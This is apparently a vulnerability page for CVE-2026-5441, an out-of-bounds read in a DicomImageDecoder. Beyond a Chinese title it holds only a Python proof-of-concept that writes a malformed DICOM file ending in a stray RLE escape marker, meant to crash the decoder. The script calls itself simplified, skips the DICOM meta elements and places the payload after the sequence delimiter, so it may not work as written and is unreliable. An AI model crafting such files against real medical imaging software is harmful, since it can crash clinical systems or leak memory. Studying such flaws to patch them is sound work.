CVE-2026-5441 DicomImageDecoder越界读取漏洞

import struct # Simulate crafting a malformed DICOM file with PMSCT_RLE1 format # This script creates a file with an invalid escape marker near the end of the stream. # NOTE: This is a simplified PoC for demonstration purposes. def create_malformed_dicom(filename): with open(filename, 'wb') as f: # Write a minimal DICOM preamble and prefix f.write(b'\x00' * 128) f.write(b'DICM') # Write simplified meta elements (skipped for brevity, assuming parser handles it) # Focus on the dataset containing the pixel data with PMSCT_RLE1 transfer syntax # Tag: PixelData (7FE0, 0010) f.write(struct.pack('<H', 0x7FE0)) f.write(struct.pack('<H', 0x0010)) # Length: Undefined (FFFFFFFF) for compressed data f.write(struct.pack('<I', 0xFFFFFFFF)) # Sequence Delimiter Item (End of Pixel Data) f.write(b'\xFE\xFF\x00\xE0') f.write(struct.pack('<I', 0x00000000)) # Here we inject the malformed RLE stream # PMSCT_RLE1 specific malformed payload # Trigger: Escape marker at the very end causing OOB read payload = b'\x00' * 100 # Padding payload += b'\xFF' # Malformed escape marker near end f.write(payload) print(f"Malformed DICOM file created: {filename}") if __name__ == "__main__": create_malformed_dicom("crash_dicom.dcm")